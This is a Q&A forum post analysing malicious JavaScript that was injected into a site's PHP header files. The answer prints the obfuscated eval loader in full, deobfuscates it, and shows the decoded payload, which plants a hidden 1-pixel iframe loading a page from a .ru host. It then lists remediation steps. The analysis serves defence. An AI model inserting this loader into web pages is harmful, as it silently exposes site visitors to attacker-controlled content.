A malicious js is auto injecting into my header.php files and many other js files?

javascript, jquery, malware, php

Solution

That PHP echo this

<script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++)     {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>

In readable form it looks like this

e = eval;

v = "0x";
a = 0;
try {
    a &= 2
} catch (q) {
    a = 1
}
if (!a) {
    try {
        document["body"] ^= ~1;
    } catch (q) {
        a2 = "!"
    }
    z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);
    s = "";
    if (window.document) for (i = 0; i < z.length; i++) {
            s += String.fromCharCode(e(v + (z[i])) - 7);
    }
    zaz = s;
    e(zaz);
}

In the above code `e` is the function `eval`

If we remove eval and prints the contents of `zaz` it will look like this.

(function () {
    var c = document.createElement('iframe');

    c.src = 'http://jakyskyf.ru/count16.php';
    c.style.position = 'absolute';
    c.style.border = '0';
    c.style.height = '1px';
    c.style.width = '1px';
    c.style.left = '1px';
    c.style.top = '1px';

    if (!document.getElementById('c')) {
        document.write('<div id=\'c\'></div>');
        document.getElementById('c').appendChild(c);
    }
})();

Its a self executing anonymous function. The script creates an iframe in your page and load contents from `http://jakyskyf.ru/count16.php`

If your server is hosted in a shared server maybe the admin account itself is compromised.

Things you can do.

- Your best place to check is server logs. Check for some malicious entries.

- Check with your hosting provider.

- Change your password to a strong password.

- Normally in wordpress sites this thing happends (it happened in lot of my wordpress sites). If you are using wordpress update to latest version.

- Change the admin username from `admin` to someother name.

- Change your admin email and password. Hacker might have changed it.

These links will provide you more inputs

- Iframe Virus

- Iframe injection attack

- Server wide iFrame injection attacks

- Hidden iFrame injection attacks

Problem

Original source